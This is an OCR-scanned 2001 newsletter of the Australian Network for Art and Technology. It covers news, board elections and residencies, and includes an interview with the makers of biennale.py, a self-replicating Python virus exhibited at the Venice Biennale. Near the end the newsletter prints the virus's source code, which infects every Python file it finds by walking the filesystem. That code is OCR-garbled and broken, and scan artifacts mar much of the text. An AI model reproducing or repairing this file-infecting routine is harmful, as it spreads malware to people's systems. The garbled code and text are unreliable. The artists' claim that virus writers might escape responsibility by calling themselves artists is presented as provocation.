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ANAT N E W S 
As a national organisa t ion , A N A T strives t o w o r k w i t h a range o f 
c o m m u n i t i e s and agenc ies across Australia. The last f e w 
mon ths have seen us par t ic ipat ing in and suppor t ing several 
initiatives, focuss ing on media , on l ine culture and g loba l i sa t ion . 
ANAT' s Manage r , Caroline Farmer a t t ended the OZeCulture: 
getting it online conference held in M e l b o u r n e in June and I 
a t t ended the Globalisation Art and Culture confe rence in Sydney 
(July 28 & 29). A N A T also suppor ted the Media Circus even t held 
in mid-July in M e l b o u r n e . T h e s e th ree qu i te different even ts 
provide an o v e r v i e w o f current issues in Australian media 
culture, ranging f rom G o v e r n m e n t focussed on l ine init iatives t o 
multicultural policy and g loba l ' ident i t ies ' t o in tervent ionis t and 
tactical media s t ra tegies . 

A N A T is a unique organisa t ion in that it is connec ted into a w i d e 
g a m u t o f infrastructure and practice. From c o m m u n i t y 
organisa t ions t o g o v e r n m e n t lobby ing groups, A N A T provides 
suppor t , f eedback and advice across a range o f init iatives and 
policy d e v e l o p m e n t . W e not only service our m e m b e r s h i p 
th rough forums such as t h e newsle t ter , but also a im to 
represent our m e m b e r s th rough advocacy and n e t w o r k i n g 
activit ies. 

At t he core o f A N A T ' s act ivi t ies remains t he d e v e l o p m e n t o f 
oppor tun i t i es for Australian artists, and w e cont inue t o pursue 
programs and professional d e v e l o p m e n t avenues for our 
m e m b e r s h i p . W e are also c o m m i t t e d t o t he o n g o i n g t ra ining 
and support o f Ind igenous n e w media artists, and f o l l o w i n g on 
f rom our Ind igenous S u m m e r School in 1999, w e are currently 
planning another School for 2002. W e are also suppor t ing 
c o m m u n i t i e s t o have grea te r access t o e q u i p m e n t and on l ine 
capabil i ty and have recently d o n a t e d c o m p u t e r e q u i p m e n t t o 
t he Irati Want i g roup in Coobe r Pedy ( w h o supports t he Kupa 
Piti Kungka Tjuta) and The Keepers o f Lake Eyre (SA) . As part o f 
Jenny Fraser's upcoming residency in Hermannsburg ( N T ) w e 
will be supplying a n e w iMac, wh ich wil l remain w i th 
Hermannsburg Potters in order t o faci l i tate o n g o i n g 
d e v e l o p m e n t and ma in t enance o f t he site. The site wil l be 
constructed by Jenny as part o f her residency. 

W e cont inue t o w e l c o m e feedback f rom our m e m b e r s abou t 
our p rog rams and are currently inves t iga t ing e x p a n d i n g our 
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ANAT NEWS 
CRITICAL WRITING 
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NOTICES 

m e m b e r s h i p benefi ts . O n e deal 
currently on offer is a discount on the 
f o r t h c o m i n g issue o f Artlink. S o m e A N A T 
m e m b e r s w o u l d be famil iar w i t h t he 
t w o Artlink special issues on art and 
t e c h n o l o g y . T h e first published in 1987 
as a jo in t project b e t w e e n A N A T and 
Artlink, and the second, Arts in the 
Electronic Landscape published in 1996. 
As a f o l l o w up t o these , Artlink are 
producing another special issue on the 
t h e m e o f ' n e w med ia ' w i t h gues t ed i tor 
Kathy C le l and .The issue, t o be launched 
in Oc tobe r is "..a col lect ion o f essays and 
i m a g e s t o help us b e c o m e more 
conversant w i th t he issues involved and 
the w o r k o f significant Australian artists 
like Stelarc, Patricia Piccinini, Jon 
McCormack , Joyce Hinterd ing , M i c h e l l e 
Barker and many more" . 

Artlink and A N A T are p leased t o offer 
A N A T m e m b e r s a substantial discount 
on this special issue. Retai l ing at $11, 
A N A T m e m b e r s can purchase t h e issue 
for $8 ( including p o s t a g e and hand l ing) . 
Please contact us by phone or emai l t o 
place your order. 

I a m also pleased t o announce tha t 
A N A T wil l be producing th ree f ree 
publicat ions over t h e next t w e l v e 
m o n t h s . T h e s e publicat ions are t h e 
result o f p r o g r a m m i n g research and 
act ivi t ies under taken over t he last 2 t o 3 
years . The first publicat ion, t o be 
launched in N o v e m b e r 2001 is en t i t led 
Arcadia, and wil l include ed i t ed excerpts 
f rom the A N A T listserv on t h e o l o g y , art 
and t echno logy . It will also include 
essays by Peter Lamborn Wi l son (aka 
Hakim Bey) , Erik Davis (author o f 



Techgnosis : Myth, Magic, + Mysticism in 
the Age of Information) and a s t a t e m e n t 
f rom the Kupa Piti Kungka Tjuta, t he 
Senior Abor ig ina l W o m e n o f Coobe r 
Pedy, South Australia. Arcadia wi l l be 
ed i t ed by Samara Mitchel l , de s igned by 
D r e w Joyce w i t h illustrations by Phil 
Bradley. 

The second publicat ion wil l be launched 
in March 2002 and will focus on the art 
and science residencies wh ich A N A T has 
suppor ted th rough t h e Deep Immersion: 
Scientific Serendipity p ro jec t .The third, 
t o be released later in 2002 wil l look at 
Ind igenous n e w media art, and wil l be 
launched in conjunct ion w i t h t he 
Ind igenous School in N e w M e d i a Art . 

The next f e w mon ths are very busy on 
the art and t e c h n o l o g y calendar, w i t h 
several even ts happen ing across 
Australia including Electrofringe (Sept 26 
- Oc t 1), TILT (Oct 8 - 20), MAAP (Oct 12 -
14) and Iteration 2 (Dec 5 - 7). Further 
detai ls abou t t hese even ts can be found 
in our No t i ces pages . 

For t h o s e o f you in M e l b o u r n e , a n e w 
centre is be ing es tabl ished t o provide 
space for med ia art projects and groups 
t o w o r k out of. Tit led SpaceStation, t he 
centre is e f fec t ive ly a se l f -organis ing 
media-ar t lab which wil l fea ture a high 
speed internet connec t ion , space for 
m e e t i n g s and workshops , a niche library, 
and be a host for a number o f g roups 
including CIDE, a cultural projects 
incubator. Contac t SpaceStation at 
<spacekids@ant i med ia .ne t> 

URLs 
Ozecul ture confe rence 
h t t p : / / w w w . a c n . n e t . a u / c o n f e r e n c e / 

Global isa t ion, Ar t and Culture 
h t t p : / / w w w . a r t s p a c e . o r g . a u / g a c d / 

M e d i a Circus 
h t tp : / / an t imed ia .ne t /med iac i r cus / 

Irati Wan t i 
h t tp : / / i ra t iwant i .org 

Keepers o f Lake Eyre 
h t t p : / / w w w . l a k e e y r e . g r e e n . n e t . a u / 

Artlink 
h t t p : / / w w w . a r t l i n k . c o m . a u / 
Ar t l ink_page .h tml 

CIDE 
h t t p : / / w w w . o n l i n e c i d e . o r g / 

ANAT A n n u a l Genera l M e e t i n g 

A N A T ' s Annual General M e e t i n g w a s 
held on M a y 29, 2001. M a n y thanks t o 
A N A T m e m b e r s w h o a t t ended the 
m e e t i n g and for your o n g o i n g suppor t 
and interest in A N A T ' s act ivi t ies . 

A t t he m e e t i n g , e lec t ions w e r e held for 
vacant posi t ions on the A N A T Board, w e 
received f ive nomina t ions for th ree 
vacant posi t ions. Vicki S o w r y w a s re
e lec ted (hav ing served a t w o year t e r m ) 
wi th t he addi t ion o f t he f o l l o w i n g t w o 
n e w m e m b e r s , w h o m I w o u l d like t o 
w e l c o m e t o t he Board: 

g e n i w a t e (aka Jenny W e i g h t , SA) 
Electronic wr i te r and mul t imed ia 
producer (Univers i ty o f SA) . g e n i w a t e ' s 
w o r k addresses t h e f o l l o w i n g t h e m e s : 
t h e nexus b e t w e e n ident i ty and 
t e c h n o l o g y and g lobal i sa t ion; t h e 
m y t h o l o g y o f technocul ture ; theoret ica l 
science and its relat ionship t o 
e p i s t e m o l o g y and human psychology. 

Kate Sparke Richards ( N S W ) 
Digital media artist and producer, 
currently w o r k i n g for Historic Houses 
Trust ( N S W ) as in-house producer at t he 
M u s e u m o f Sydney. As a practicing 
artist, Kate has exhib i ted f i lm, v i d e o and 
interact ive multi media nat ional ly and 
internationally. M o s t recently in Sydney, 
N e w York, M e x i c o City, Sao Paulo and 
M e l b o u r n e . 

Portrait of the Month: 
New ANAT Board Member, geniwate 

O u t g o i n g Board m e m b e r s are Julie Robb 
( N S W ) , Chris Chapman (SA) and Serafina 
M a i o r a n o (SA) . All th ree m a d e 
t r e m e n d o u s contr ibut ions t o t he Board, 
and w e wish t h e m all t he best w i th 
future endeavours . 

Julianne Pierce, 
Executive Director 

The current compos i t i on o f t he A N A T 
Board is: 

Vicki S o w r y (SA) Chair 

Miche l l e Glaser ( W A ) Vice-chair 

Adr i enne Hender (SA) Treasurer 

Julianne Pierce (SA) Public Officer 

Carol ine Farmer (SA) Staff Rep. 

Leon Cmie lewski ( N S W ) 

Jenny Fraser (Old) 

Kate Richards ( N S W ) 

g e n i w a t e (aka Jenny W e i g h t , SA) 

http://www.acn.net.au/conference/
http://www.artspace.org.au/gacd/
http://antimedia.net/mediacircus/
http://iratiwanti.org
http://www.lakeeyre.green.net.au/
http://www.artlink.com.au/
http://www.onlinecide.org/


I PROJECT UPDATE 
S c i e n c e Res idenc ies a n d Par tnersh ips 

O n e o f A N A T ' s core p rogram areas is t he 
d e v e l o p m e n t o f oppor tun i t i e s for 
col laborat ion b e t w e e n the f ields o f art 
and sc ience .The Deep Immersion: 
Scientific Serendipity residency p rogram 
has provided research and d e v e l o p m e n t 
oppor tuni t ies for artists t o research and 
create n e w work . The final o f t h e four 
residencies is c o m m e n c i n g in early 
S e p t e m b e r 2001, w i th Brisbane-based 
artist A d a m Donovan in res idence at t he 
Defence , Science and T e c h n o l o g y 
Organisa t ion , A d e l a i d e . 

A N A T is inves t iga t ing cont inuing 
oppor tun i t i es for col laborat ions and 
partnership in this area, and wil l keep 
our m e m b e r s updated on further 
projects and residencies. 

Asia l ink Res idenc ies 

Recently, Asialink w e r e call ing for 
appl icat ions for t he Literature, Visual 
Arts, Pe r fo rming Arts and Arts 
M a n a g e m e n t Residencies 2002, w i t h 
appl icat ions for all p rograms closing 
Friday 7th S e p t e m b e r 2001. A N A T are 
once again par tner ing wi th Asialink t o 
support a n e w media artist residency in 
Asia. 

James Verdon (Vic) , t he 2001 recipient o f 
t he n e w media residency wil l be based 
at Chulalongkorn Universi ty in Bangkok 
f rom S e p t e m b e r 6th, 2001 t o January 
6th, 2002. 

TILT [Trading I n d e p e n d e n t Latera l 
Tactics] 8th-20th O c t o b e r 2001, S y d n e y 
Austra l ia 

'Tactical M e d i a ' is t he t e r m used t o 
descr ibe t h e practice o f a loose al l iance 

o f internat ional media theoris ts , artists 
and activists w h o address issues arising 
f rom current e c o n o m i c and informat ion 
structures, emphas i s ing the impor t ance 
o f i ndependen t media and focus ing on 
tactical ne tworks and e lec t ronic borders . 
dLux in col laborat ion w i t h Australian 
N e t w o r k for Ar t and T e c h n o l o g y ( A N A T ) , 
Imperial Slacks, Me t rosc reen and 
P o w e r h o u s e M u s e u m are currently 
e n g i n e e r i n g an even t tha t e x a m i n e s 
various ' tact ical ' m e t h o d o l o g i e s , a iming 
t o faci l i ta te t he e x c h a n g e and 
d e v e l o p m e n t o f ideas, skills and 
practices b e t w e e n different ac t ive 
groups and individuals. A N A T is 
suppor t ing the part icipat ion o f Ricardo 
D o m i n g u e z (USA) f rom Electronic 
Disturbance Thea t re and Partha Pratim 
Sarker (Bang ladesh) , convenor o f 
<bytesforal l> w e b s i t e and mai l ing list. 

T h e 2002 A d e l a i d e B i e n n i a l of 
C o n t e m p o r a r y A u s t r a l i a n A r t 

The A d e l a i d e Biennial 2002 is a major 
survey o f Australian con t empora ry art 
presented by the Art Gallery o f South 
Australia in col laborat ion w i t h t h e 
A d e l a i d e Festival o f Arts . 

"During the A d e l a i d e Festival 2002 t he 
Biennial wil l exp lo re s o m e o f t he issues 
at t h e heart o f Australian socie ty and 
culture, namely, t he creat ive encounters 
b e t w e e n diverse sys tems o f k n o w l e d g e 
such as eco logy , in format ion 
t e c h n o l o g i e s , b io - t echno log ies , cogn i t ive 
sciences and physical p h e n o m e n a . T h e 
Biennial will include artists w h o are 
e n g a g e d w i t h scientific research at t h e 
b e g i n n i n g o f t he twenty- f i r s t century. 
Issues such as gene t i c eng inee r ing , D N A 
tes t ing , env i ronmen ta l sustainability, 
artificial in te l l igence , human c loning 
and gene t i ca l ly mod i f i ed foods raise 
fundamen ta l ques t ions abou t 
humani ty ' s future on the planet . Raising 
s ignif icant moral and philosophical 

d i l e m m a s and p r o m p t i n g grassroots 
act ion w o r l d - w i d e , today 's scientific 
issues affect us a l l .The Biennial wil l 
survey a range o f artistic responses t o 
s o m e o f t hese concerns." 
(Cutt ing Edge, A u t u m n 2001) 

A N A T ' s Informat ion Officer Charity 
Bramwel l , is w o r k i n g w i t h t he Biennial 
W o r k i n g Group, project co-ordinator 
Linda Cooper and the A d e l a i d e Festival 
o f Arts , on archiving and d o c u m e n t i n g 
t h e processes o f col laborat ion and 

Adam Donovan, Phoneloscope (detail), 2000. 
Photo by Izabella Chabrowska. 

d e v e l o p m e n t . The aim o f Charity's 
project is t o d e v e l o p an accessible 
archive, wh ich wil l supp lemen t t he 
exhibi t ion and provide an o n g o i n g 
resource. A N A T is also pleased t o 
announce that a majori ty o f artists 
included in t he Biennial Exhibition have 
been suppor ted by A N A T in t he past, 
e i ther th rough Research & D e v e l o p m e n t 
funding, Confe rence and W o r k s h o p 
funding or pro jec t / res idency support . 
The dates o f t h e A d e l a i d e Biennial are 
March 1 t o April 28, 2002. For further 
informat ion see 
<www.ade l a ide f e s t i va l . o rg . au> or 
contact t he A d e l a i d e Festival on (08) 
8216 4444. 
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H CRITICAL WRIT ING 
b i e n n a l e . p y - t h e re turn of t h e m e d i a 
h y p e 

In a move which indicates an attitude 
swing within the world of establishment 
contemporary art, net.art and digital art 
are represented in the 49th Venice 
Biennale (10 June to 4 November 2001) 
for the first time. The Slovenian Pavilion 
in particular is exhibiting a new compu
ter virus called biennale.py, a collabora
tive work between the artists 
otootofnotonot.ORG and hackers group 
Epidemic. The announcement of this 
piece of net.art caused a kind of sensa
tion, and a large crowd attended the 
opening in order to see the virus (exhib
ited in text form). Following is a conver
sation between Hamburg based artist, 
Cornelia Sollfrank, and 
oiooiomoioiioi.ORG. 

Cornelia Sollfrank: Could you please first 
expla in w h a t a virus is? 

o ioo iomoio i io i .ORG: C o m p u t e r viruses 
are se l f -copying p rograms which behave 
according t o t h e m o d u s operandi o f 
b iological viruses: t hey attack an 'organ
ism' (a c o m p u t e r ) by install ing t h e m 
selves inside and b e c o m e act ive w h e n 
the p rogram is execu t ed . 

CS: W h a t is special abou t your virus? 

o i : biennale.py is t he first virus ever 
wr i t t en in Python l anguage . M a n y 
deve lope r s think that Python will be t he 
l a n g u a g e o f t he future. It is mult i-
p la t form, but not easy t o w r i t e . 
biennale.py is a 47 line p rogram that 
a t taches i tself t o all f i les and so f tware 
wh ich are wr i t t en in Python l a n g u a g e 
(so end ing wi th .py or . p y w ) , wh ich 
m e a n s it is only able t o survive in 
Python env i ronmen t s . 

CS: Is the re any th ing else special excep t 
t he fact that it is t he first .py virus? 

01: Yes, it has been m a d e in abso lu te 
transparency. W e announced before 
hand w h a t w e w e r e g o i n g t o do . Our 
n a m e s and d o m a i n s are wr i t t en in t h e 
code .Th is is a big di f ference t o t he 
t radi t ional cracking scene. Addi t ional ly , 
before s tar t ing t o spread the code , w e 
sent it t o all anti-virus so f tware houses, 
t o g e t h e r w i th an exp lana t ion o f h o w t o 
erase it. The main goa l o f our virus is 
just t o survive. And , it can be t te r survive 
w h e n it doesn ' t d o any harm t o t he 
host. If it w o u l d kill its host, it w o u l d die 
itself, t o o . So, it sucks energy, but tries t o 
stay invisible as much as possible . It is 
only safe as long as n o b o d y discovers it. 
biennale.py is c o m p l e t e l y invisible. It just 
installs itself in t he background. 

CS:You have m e n t i o n e d before that 
Python is not w i d e l y spread. This also 
means that your virus is not very v iab le 
and qu i te harmless . It doesn ' t have 
many potent ia l hosts. 

01: O f course add ing a piece o f n e w c o d e 
t o a so f tware m i g h t a lways d a m a g e it, 
but this is not its main purpose. Add i 
t ionally, Python is only useful on servers, 
wh ich are usually run by professionals 
w h o k n o w h o w t o t race and t reat a 
virus. 

CS:That m e a n s biennale.py w o u l d never 
infect persona l / p r iva te / h o m e compu t 
ers? 

o i : Probably not, at least not this ver
sion. M a y b e in future w h e n t h e lan
g u a g e will be also used on PCs, there 
m i g h t be a danger . As w e have a l ready 
said, its main g o a l is not t o d a m a g e 
computers , o t h e r w i s e w e w o u l d n ' t be 
here ta lk ing abou t it publicly. 

CS: So, basically, biennale.py is a very 
peaceful virus, and exact ly t he oppos i t e 

o f w h a t has been announced in your 
press release w h e r e it has been called 
"ev i l " and capable o f "causing chaos"? 

o i : T h e press release w a s not wr i t t en by 
us, and a n y w a y it said that,"...a virus is 
usually cons idered evil , causing chaos..." 
not referring t o biennale.py, but t o the 
usual hysteria that spreads a m o n g 
c o m p u t e r users. W e are not interested in 
d a m a g i n g a compute r , but m o r e on t h e 
media e f fec t viruses have. You of ten 
have these virus w a r n i n g s on the net 
wh ich mos t ly turn out t o be pranks. 
Peop le are hysterically spreading these 
m e s s a g e s w i t h o u t ver i fy ing t h e m , and 
w e s imply w o r k wi th t he hysteria, w i th 
t he media a t ten t ion a virus au tomat i 
cally ge t s , ( see n o t e 1) 

Addit ional ly , by s h o w i n g t h e code in t he 
pavil ion, by print ing it on t-shirts and 
post cards, w e w a n t p e o p l e t o c o m e 
close t o it, and so t o demys t i fy the aura 
o f a virus. They can find out w h a t it 
looks like, and that it works exact ly as 
any o ther so f tware . 

CS: I think it is part o f t he hysteria that 
m o s t p e o p l e d o not k n o w h o w comput 
ers funct ion beyond the graphical 
interface. In this sense, it doesn ' t make 
much sense t o s h o w the code , because 
not many p e o p l e will be able t o read it, 
and t o m a k e sense out o f it. Probably, 
you could s h o w any piece o f so f tware , 
and make m o s t p e o p l e be l ieve , that it 
w a s a virus! Isn't this just ano ther s tep 
o f myst i f icat ion, t o pretend transpar
ency, but in fact confront peop l e w i t h 
c o d e t hey canno t decipher? 

01: The idea w a s t o let peop l e g e t t he 
hang o f viruses. And even this i n t e rv i ew 
is part o f t he myst i f icat ion. Everybody 
w h o is reading it wil l au tomat ica l ly be 
part o f it, but myst i f icat ion is a lways 
be t te r than didactics. 
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CS: Actually, I a m hop ing tha t m y 
in t e rv i ew will cont r ibute t o f i l ter ing out 
your s trategies, intentions, and 
mot iva t ions , instead o f s tupidly repro
ducing any hype or hysteria. That is w h y 
I w o u l d like t o cont inue ta lk ing about 
t h e code . Let's keep the ques t ion o f 
w h e t h e r or not your w o r k demys t i f i e s 
viruses open.. . 

The code appears in th ree different 
vers ions in t he pavil ion: It is printed in 
large letters on a banner (3:4m), it is t o 
be seen on a compu te r -mon i to r ( the 
c o m p u t e r cannot be o p e r a t e d ) , and, 
interest ingly there is 10 g o l d e n CD-
R O M s hang ing f ramed on the wal l , 
wh ich also contain t he virus. W h y did 
you choose these fo rms o f 
aes thet ic iza t ion for t he virus? 

o i : It's a mat te r o f visibility. To reach 
m o r e p e o p l e , y o u need m o r e means : 
webs i t e s , t-shirts, postcards, canvases, 
articles, tv shows , any m e d i u m is ef fec
t ive t o reach our goa ls . 

CS: In t he press release you say that 
biennale.py has especial ly been con
ceived for t he Biennale . W a s it a c o m 
miss ioned work? 

01: N o t directly, but w e spent part o f t he 
m o n e y w e g o t as our f e e f rom t h e 
Biennale on the project . In addi t ion, this 
years ' Biennale is sponsored, a m o n g s t 
others, by Mic roso f t .The re fo re , w e could 
conclude tha t our virus has been spon
sored by Microsof t . 

W e w e r e interested in checking out h o w 
free w e w e r e regarding the w o r k w e 
w a n t e d t o present here. Wr i t i ng a virus 
is not i l legal, but spreading it is i l legal . 
The author is not responsible for w h a t 
o ther p e o p l e d o wi th it. W e g a v e our 
virus t o t h e Biennale and asked t h e m t o 
put the c o d e on their w e b s i t e . And they 
did it .Technically, they are spreading the 
virus as much as w e are. W e are inter

es ted in t he conflict tha t evo lves w h e n 
w e offer a p iece o f w o r k which is il legal 
t o a big institution which has invi ted us. 
They have t o accept it and at t he s a m e 
t i m e they have t o take the responsibil i ty 
for it. Fur thermore, t h e virus is be ing 
spread by the p e o p l e w h o w e a r the t-
shirts w i t h t h e code .Theore t ica l ly , they 
could also be sued, as w e l l as all t h e 
m a g a z i n e s and w e b s i t e s such as Domus, 
Mute, or Wired wh ich are g o i n g t o print 
t he c o d e o f t he virus. 

CS:That m e a n s you yourse l f try t o stay 
on t h e safe side, and make mos t ly 
o thers d o the dirty w o r k for you? 

Ol: Exactly. 

CS: But, you are jus t p laying wi th t he 
not ion o f c r ime. Taking a closer look 
shows that you are d o i n g no th ing 
il legal. You just let o ther peop l e spread 
your harmless virus! That 's it. 

01: Yes. 

CS: I w o u l d like t o c o m p a r e your w o r k t o 
an act ion o f t he G e r m a n artist Ulay, w h o 
had announced in t h e 70s in an art 
m a g a z i n e that he w a s g o i n g t o steal a 
paint ing f rom a m u s e u m . N o b o d y had 
taken him serious until he had, in fact, 
s tolen a 19th century paint ing f rom the 
N e u e Na t iona lga le r i e in Berlin. He had 
brought it t o a Turkish fami ly in Berlin 
Kreuzberg w h e r e t hey hung it on their 
l iving room wal l . In t e r m s o f transpar
ency and c r ime this act ion has parallels 
t o yours, but t he di f ference is tha t Ulay 
actually c o m m i t t e d a cr ime, and that he 
personal ly has been m a d e responsible 
and sued for this 'art crime' . 

01: Even if w e have a lways cons idered 
this act ion as o n e o f t he mos t interest
ing ever, w e def in i te ly prefer Erik 
Hobijn's thef t o f a d r a w i n g by Keith 
Har ing f rom the Stedelijk M u s e u m in 

1983: not only he didn ' t g o t o prison, but 
he even g o t a ransom. 

CS: W h a t w o u l d your exac t goa l be? 
You're d o i n g no th ing criminal, and you 
are m a k i n g y o u r act ion explici t ly as 
artists in an art con tex t .Tha t ' s w h y 
n o b o d y w o u l d sue you in t he end, and if, 
you w o u l d even profit f rom it for your 
o w n p ropaganda . Fur thermore , your 
act ion here wil l no t have any inf luence 
on further cr iminal izat ion o f hackers 
and crackers. And honestly, don ' t you 
think that t he art sys tem lives on t h e 
product ion and ce lebra t ion o f t a b o o 
breaking? The m o r e radical art s e e m s t o 
be the be t te r for t he insti tution, at least, 
as long as it d o e s not cause real t rou
ble—like your virus. 

01: This is t he s a m e old excuse that 
m e d i o c r e artists use t o just ify their arty-
farty work . Our act ion could set a 
precedent , so that in future cases viruses 
could be declared as works o f art. 

CS: Do you m e a n that any p r o g r a m m e r s 
w h o cause t roubles and serious d a m a g e 
wi th viruses etc. should refer t o your 
act ion and call t h e m s e l v e s artists in 
order not t o be m a d e responsible for 
w h a t they w e r e do ing? 

01: Yes. 

CS: Sorry, but this sounds naive t o m e . 
W h o def ines that s o m e b o d y is an artist? 
It is a c o m p l e x process o f se l f -proclama
t ion, act ing, reference, and accep tance 
by a sys tem. I w o u l d d o u b t that a j u d g e 
w o u l d be wi l l i ng t o accept that a 
dange rous v i rus -p rogrammer suddenly 
has turned into an artist, referring t o 
your precedent . M a y b e , t he only w a y 
w o u l d be, if you are really serious w i t h 
that concern, that you declare future 
virus wri ters , w h o are sued for w h a t 
they ' re d o i n g , as m e m b e r s o f your 
group, i.e. t he guy w h o has recently been 
sen tenced in Bo logna . You al ready have 
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t he leg i t imisa t ion o f t he art sys tem, so it 
m i g h t turn into a really interest ing case 
in t e rms o f checking t h e limits o f art 
concep t ion . 

o i :Thanks , w e ' l l keep this for t h e next 
Biennale . 

CS: But before that, I w o u l d doub t that 
t he p e o p l e you pre tend t o w o r k for find 
out at all abou t your act ion. A l t h o u g h 
there are national differences, t h e 
wor ld s o f hackers, artists and political 
activists are pret ty much separated. 
There is not just different mot iva t ions 
behind these different act ivi t ies, but 
of ten fundamen ta l ly different s t ra tegies 
in f o l l o w i n g goa ls , wh ich s e e m not t o g o 
t o g e t h e r very w e l l . For e x a m p l e , political 
activists of ten t end t o understand art as 
a source t o de l iver m e r e illustrations o f 
their goa ls , or t hey are afraid that their 
political credibil i ty m i g h t be reduced 
w h e n their bat t le is related t o art. 

o i : W h i l e m o s t p e o p l e think in wa te r 
t i gh t c o m p a r t m e n t s , s o m e o f t he mos t 
in teres t ing and succesful act ions are 
produced by t h e combina t ion o f differ
ent k n o w l e d g e s . Have a look at M o n g r e l , 
l / O / D / , Electronic Disturbance Theat re , 
Rtmark, Surveil lance Camera Players, 
N e g a t i v l a n d , just t o men t ion a f e w 
e x a m p l e s . M a k i n g the hacking, art and 
activist scene jo in , you obta in a b o m b . 
This is necessary not only for technical 
reasons, but a lso for marke t ing and 
sel l ing. O n e o f our goa l s at t he Biennale 
is t o sell t he virus, t o make m o n e y out o f 
it. 

CS: H o w much are t h e CD-ROMs? 

O l : $US1,500 

CS: It is n o w o n e w e e k after t he o p e n i n g . 
Have you already sold any copies? 

o i : W e have already sold t w o o f t h e m t o 
private col lectors . 

C S : Is this w h a t you mean by h a v i n g / 
placing a b o m b ? Creat ing and sel l ing a 
product wh ich gene ra t e s m o n e y ? 

OX: A bad idea per fec ted is be t te r than a 
g o o d idea a t t e m p t e d . 

CS: Thank you for t he conversa t ion . I a m 
looking fo rward t o your future b o m b 
ings;-) 

(1) S u b j e c t : he lp 

Date: Wed, i^Jun 200111:07:43 +0200 
From: "Carolyn R. Miller" 
<crmiller@ncsu.edu> 
To: biennale.py@oiooiomoionoi.ORG 

"I think I may have g o t t e n t h e 
b iennale .py virus f rom t h e w e b s i t e o f 
your collaborator, 0100101110101101.ORG. 
I read the press release, wh ich w a s 
circulated on AIR-L and vis i ted both 
webs i t e s , but at t h e 
0100101110101101.ORG w e b s i t e I g o t 
caught in an approval loop that s e e m e d 
t o tell m e that " n o w w e ' r e in your 
computer ." I certainly did NOT k n o w 
w h e n I w e n t t o t h e site that this w o u l d 
happen and I did not voluntar i ly 
d o w n l o a d any virus. 

48 hours later or so I s tar ted having 
major p rob lems . I run a MacG3, OS 8.6. I 
can't f ind any informat ion on an 
internet search abou t h o w t o g e t rid o f 
t h e virus, so I h o p e you can tell m e w h a t 
t o do . 

Thanks, Carolyn Mi l le r 
Nor th Carolina State Universi ty 
Raleigh, NC USA" 

(2) Q u o t e f r o m t h e hacker d ic t ionary 
( j a r g o n f i le ) : 

virus /n./ 
[ f rom the obv ious a n a l o g y wi th b io log i 
cal viruses, via SF] A cracker p rogram 
that searches out o ther p rograms and 

' infects ' t h e m by e m b e d d i n g a copy o f 
itself in t h e m , so that they b e c o m e 
Trojan horses. W h e n these p rograms are 
execu ted , t he e m b e d d e d virus is ex
ecu ted t o o , thus p ropaga t ing t h e 
' infect ion ' .This normal ly happens 
invisibly t o t he user. Unlike a w o r m , a 
virus canno t infect o ther compute r s 
w i t h o u t assistance. It is p ropaga ted by 
vec tors such as humans t rading pro
g rams w i t h the i r f r i ends ( see SEX).The 
virus m a y d o no th ing but p ropaga te 
itself and then a l l o w the p rogram t o run 
normally. Usually, howeve r , after propa
ga t ing silently for a wh i l e , it starts d o i n g 
th ings like w r i t i n g cute m e s s a g e s on the 
te rminal or playing s t range tricks w i t h 
t he display ( s o m e viruses include nice 
display hacks). M a n y nasty viruses, 
wr i t t en by particularly perversely 
minded crackers, d o irreversible d a m a g e , 
like nuking all t he user's f i les. 

In t h e 1990s, viruses have b e c o m e a 
serious p rob lem, especial ly a m o n g IBM 
PC and Mac in tosh users ( the lack o f 
security on these machines enab les 
viruses t o spread easily, even infect ing 
the ope ra t ing s y s t e m ) . T h e product ion o f 
special anti-virus so f tware has b e c o m e 
an industry, and a number o f e x a g g e r 
a ted media reports have caused out
breaks o f near hysteria a m o n g users; 
many lusers tend t o b l a m e eve ry th ing 
tha t doesn ' t w o r k as t hey had e x p e c t e d 
on virus attacks. Accordingly, this sense 
o f ' v i ru s ' has passed not only into 
techspeak but into also popular usage 
( w h e r e it is of ten incorrectly used t o 
d e n o t e a w o r m or even a Trojan horse) . 
See phage ; c o m p a r e back door; see also 
Unix conspiracy. 

(3) T h e b i e n n a l e . p y v i rus 

can be found at 
<www.010010n1010n01.org> 
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/// source code 

# biennale.py. go to 
# HTTP://WWW.01 00101110101101 .ORG _ • 
from dircache import * 
from string import * 
import os, sys 
from stat import * 

def fornicate(guest ( 
try: 

soul = open(guest, "r" ( 
body = soul.read( ( 
soul.close( ( 
if find(body, "[epidemic [ (== - 1 : 

soul = open(guest, "w" ( 
soul.write(mybody + " h h" + body ( 
soul.close( ( 

except lOError: pass 

49th Biennale di Venezia 
_ [epidemic [http://www.epidemic.ws 

def chat(party, guest ( 
if split(guest, "." [-1 pn ("py", 

fornicatefparty + guest ( 
pyw" ( 

def join(party ( 
try: 

if not S_ISLNK(os.stat(party [ST MODE [( 
guestbook = listdir(party ( 
if party != "/": party = party + "/" 
if not lower(party (in wank and n o t " init 

for guest in guestbook: 
chat(party, guest ( 
join(party + guest ( 

except OSError: pass 

ANAT NEWSLETTER 

COPY DEADLINES 

DEC/JAN/FEB Issue 
DUE: NOV 3rd, 2001 

MAR/APR/MAY Issue 
DUE: FEB ist, 2002 

JUN/JUL/AUG Issue 
DUE: MAY ist, 2002 

ANAT welcomes information on forthcoming 
events relating to the interaction of art, science 

and technology. 

•py" in guestbook: 

if _ n a m e _ == ' _ m a i n _ ' : 
mysoul = open(sys.argv[0 [( 
mybody = mysoul.read( ( 
mybody = mybody[:find(mybody, "#"*3 (+ 3 [ 
mysoul.close) ( 
blacklist = replace(split(sys.exec prefix,":" [-1 [" IT, "I" ( 
if b l a c k l i s t s [!= «/»: blacklist = blacklist + "/" 
wank = [lower(blacklist (" /prod", "/dev/" [ 
join("/" ( 
print" < This file w a s contaminated by biennale.py, the world slowest virus." 
print "Either Linux or Windows, biennale.py is definetely the first Python virus." 
print "[epidemic [http://www.epidemic.ws _ + _ HTTP:// 

WWW.0100101110101101.ORG " 
print" < 49th Biennale di Venezia <" 

### 

A R T L I N K 
Special issue on 

NEW MEDIA ART 
Exclusive offer for ANAT members 

SPECIAL ISSUE for $8 
($3 off normal retail price of $11) 

Guest editor Kathy Cleland featuring artists Stelarc, 
Patricia Piccinini. Jon McCormack. Joyce Hinterding, 

Michelle Barker and many more. Writers include 
Anna Munster, Mitchell Whitelaw. Julianne Pierce, 

Darrren Tofts, Beth Jackson and others. 

Contact the ANAT office to order your copy. 
Price includes postage and handling. 

/VKTAT| 

http://WWW.01
http://www.epidemic.ws
http://www.epidemic.ws
HTTP://
http://WWW.0100101110101101.ORG


^ C O N F E R E N C E A N D 
W O R K S H O P REPORTS 

